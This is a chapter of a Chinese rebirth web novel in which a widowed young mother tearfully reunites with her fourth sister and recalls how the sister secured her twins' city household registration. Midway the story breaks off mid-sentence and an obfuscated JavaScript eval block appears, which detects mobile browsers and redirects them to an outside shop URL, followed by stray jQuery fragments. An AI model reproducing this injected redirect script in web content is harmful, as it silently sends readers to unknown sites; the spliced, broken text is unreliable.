杜满枝上一世最对不起的，就是自己的一双儿女。
而亏欠最多的，则是四姐杜满香。
前一世，她为了找孩子一走差不多就是二十年。走之前，父母的工作已经给了出去，姐姐们嫁的嫁走的走，只有四姐守着家，负责给俩老养老。
在那之前，杜满枝嫁人生子，都是杜满香在走动帮忙。
程东临当兵是军籍，杜满枝结婚前，杜满香劝她暂时不要迁户口，她听了。
事实证明四姐说得很对。
后来程东临牺牲之后，方改攥着抚恤金一分不给出，她就庆幸自己户口还在娘家，最起码还有市里的“人定粮”让她不至于饿着肚子。
程家寨所在的公社归大兴县管，那时候杜满香刚好在大兴县的医院当护士，杜满枝早产，身边只有夫家大哥和大嫂在，公婆是从生产到出院都没见着人。
孩子是杜满香帮忙接生的，她看着病床上昏迷的妹妹，还有因早产身量小小的俩小婴儿，在心里把程柱和方改恨得牙痒痒。
程东临每季度寄回的工资，方改一分一厘都要攥在手里，可程东临妻子早产，她却是不见人！
杜满香一气之下，把俩婴儿的户口给落在了她自己的父母家。
单是俩孩子户口这事，就足够杜满枝感谢四姐一辈子。
这年代虽然是“子随母落户”，但以方改攥着程东临的抚恤金不放手，未必不会打俩孩子户口的事。
幸好有四姐！
因为所有政府机关单位都是手写凭证，医院也一样。医院开具的出生医学证明是在九十年代才有的，在那之前，各医院给出的证件大多都不一样。
有些医院是分娩记录，有些是出院小结或简易的病历。且全是手写，格式还不统一。
俩孩子的出生证明是杜满香一字一字念着让医生写的，还亲手盖了医院的公章。然后马不停蹄赶回市里，找父母要了户口本，给街道办的干事送了两罐上海产的肉罐头，拿到街道介绍信之后，当天就把俩孩子的户口落在了杜家！
也多亏程柱和方改不识字，张红玉也没多留意这件事，这才瞒住了外人把俩孩子户口落在了姥姥家。
俩孩子在市里有户口，在粮本上有名字，每月一个孩子有七斤粮票。
因为是双胎还早产，生了孩子后不仅身体虚弱，就连奶水也很少，所以医院给开了三个月的奶粉。
四姐在医院上班，软磨硬泡愣是多开了三个月的奶粉。
六个月后，俩孩子总算是看着好些了。四姐和爸妈凑了钱给买了工作指标，只想让她和孩子能好好活着。
靠着每个二十几块的工资，她和俩孩子这几年才没被饿着。
她杜满枝欠四姐太多太多了！别说上辈子和这辈子，再加上下辈子都还不完！
“四姐！”杜满枝从房里走出来，眼里全是泪。
“我家俩大宝贝儿呢，”杜满香兴冲冲地走进来，本想抱抱亲亲俩孩子，结果看见杜满枝在哭，她脚步猛地停下，“谁欺负你了？！”
她和杜满枝长得不一样。
杜卫国的脸型有棱有角，年轻的时候是硬汉的样子。李晓勤则是小俏脸，笑唇，皮肤白皙，长得十分秀美。
他们夫妻俩的长相都传给了杜家五姐妹。
杜满枝长得最好看，遗传了杜卫国的深邃的大眼睛，高挺的鼻梁，却又融合了李晓勤的小俏脸和笑唇，奇妙地令整张脸显得柔美，眼睛却炯炯有神。
令人一眼看见就眼前一亮再一亮。
杜满香则是相反，她有着线条明朗的脸形，眼神锐利，笑唇平时都紧抿着，给人一种很有气势很安全的感觉。
“四姐，我好想你啊！”杜满枝泪眼朦胧地看着杜满香，她已经快二十年没见过四姐了！
杜满香却不觉得满枝是在想她。
她俩前个月才见过，她想和小妹一起去国营饭店吃饭，小妹都不愿意去，她得回厂里上班去。
当时小妹看着可有干劲了，哪像现在这样满脸都是委屈。
杜满香生气地撸袖子：“肯定有人欺负你了！你告诉四姐，四姐替你出气！”
真是要气死她了！
她这辈子最对不起的人就是小妹了，竟然还有人敢欺负小妹！
她比小妹大两岁，高中毕业那年，街道办催着要毕业学生下乡。市里有规定，四个孩子可以留一个，五个以上可以留两个。
大姐嫁人，二姐三姐下乡，她和小妹要是没工作没嫁人就只能再留一人。
刚毕业那会，她没工作也还没嫁人，街道的干事隔三岔五来动员她下乡。
其实她下乡也没关系，毕竟小妹才刚读高一，她要是没工作不嫁人也该下乡。
工作确实难找，但她也不想嫁人。她那会有个青梅竹马的男同学，她很喜欢他。
她家里五个姐妹全是女儿，在一些事情上总是会吃亏，可她也没多伤心，因为那男同学每次都站在她身旁帮助她。
在她整个学生时代，他都和她站在一起，遇事和她一起面对，有困难帮她一起解决。
她和他从小一起长大，刚开始当他是哥哥，后来喜欢他，想嫁给他。
她知道有战斗英雄，而他，在她心里，也是英雄。
是一直保护她的大英雄。
他明明和她说好的，让她先在亲戚家躲几个月，等他家凑钱买到工作就结婚。
结果她在亲戚家躲了一年多，却发现他已经结婚快一年了！
这事她忍不了！
她没大闹，而是威胁。
她手里有他写的情书，还有上课时传的小纸条，另外还有一份他写的计划书，说等和她结婚之后先买工作，等有了孩子他会当个好爸爸。
所以和他有关的东西，她都好好收着，舍不得扔。
她那段时间气疯了！
后来，她终于把他家好不容易找到的工作拿到手，结果一回头，刚高中毕业没两月的小妹悄悄领证结婚了！
从小妹结婚到她拿到工作只不过差了十天！就十天！十天啊，小妹嫁人了！
虽然小妹说是她自己喜欢，是她想嫁。
可小妹嫁的是当兵的，军人舍命保家卫国，万一要是牺牲了，那她小妹不得守寡？
直到今天，她都在后悔当时脑海里出现的这个想法。
就是因为她这么想，所以妹夫牺了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789344|210316||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，她小妹，真成为了寡妇。
是她害了小妹，她不配当小妹的四姐。
“呜哇哇哇！”俩姐妹抱头大哭。
正在脱着衣服的俩孩子一听，光滑滑地跑出来一左一右抱住杜满枝的脚。
“妈妈不哭！呜呜呜！”
“妈！哇哇哇！”
好嘛，四重奏。
李晓勤才是被气坏的那个。
“哭啥子啥？！”她啪啪啪先是打杜满香的肩膀，又去拍杜满枝的手臂，“都把我俩小孙孙给招哭了，快闭嘴甭哭了！”
杜满枝这才松开杜满香，又哭又笑地用手袖擦眼泪。
“妈！”杜满香左右扭头在肩膀上擦了擦脸，“小妹……”
她想说小妹被人欺负了，杜满枝一把抓紧她的手：“没有的事。”
杜满香追问：“真没有？”
“真没有，”杜满枝的眼睛还红着，但表情和笑容骗不了人，她这会是开心的。
“……我没想到我小妹这么想我的咧，”杜满香笑着弯腰去抱俩孩子，“我杜家的俩大宝贝哎。”
“这是妈妈的四姐，是你们的四姨，”杜满枝摸摸俩孩子的小脑袋，“叫四姨。”
“四姨～”俩孩子异口同声。
“嗳，嗳！”杜满香一手一个抱着孩子在转圈，“我的俩大宝贝哎！”
“你给我放下！”李晓勤看见她抱着孩子转圈就怕，连忙伸手接俩孩子，“别抱着孩子转圈。”
雪雪和晖晖可不怕，还在咯咯笑。
“水要凉了，来洗澡，”李晓勤抱着孩子进屋。
胡同巷道里的这些瓦房绝大多数都没建洗澡间和厕所，洗澡除了去澡堂，还可以用个大盆在房间里洗。
李晓勤说：“有你四姐在，满枝你自己也去洗澡。”
杜家孩子多，洗澡的大盆就有两个。
“那行，”杜满枝笑着说，“四姐，麻烦你了。”
“交给我，”杜满香一直就把俩孩子当她自己生的，小妹没了丈夫，她当姐姐的，要多多帮小妹。
等杜满枝在房里洗了澡出来，杜满香已经带着刚洗过澡的俩孩子又玩出了一身汗。
华大娘在走廊下坐着，手里拿着条一看就是新的汗巾：“宝儿来，来太奶奶这儿擦擦汗。”
李晓勤又在翻晒着的被褥，双手忙活着，还要叮嘱俩孩子：“慢点儿跑，不要撞到太奶奶，也别撞到脚，满香你看着点啊。”
华大娘擦完一个再擦一个，然后乐呵呵地看着俩孩子又跑去玩。
杜满枝倚着门框站着，不知不觉又想掉眼泪。
“满枝，”华大娘回头看见她，伸手拍拍旁边的小矮凳，“坐这儿来。”
“嗳，”杜满枝笑着走过去，在华大娘旁边坐下，“大娘，是不是孩子吵醒你了。”
华大娘年纪大了，觉少，但又容易瞌睡，所以中午总要睡会。
“不吵，”华大娘乐呵呵的，“多热闹，我就喜欢这样的。”
杜满枝在旁边笑着像在哭。
我也喜欢这样的。
上一辈子，快二十年里，眼前这欢乐又温馨的场面，她连做梦都没梦到过。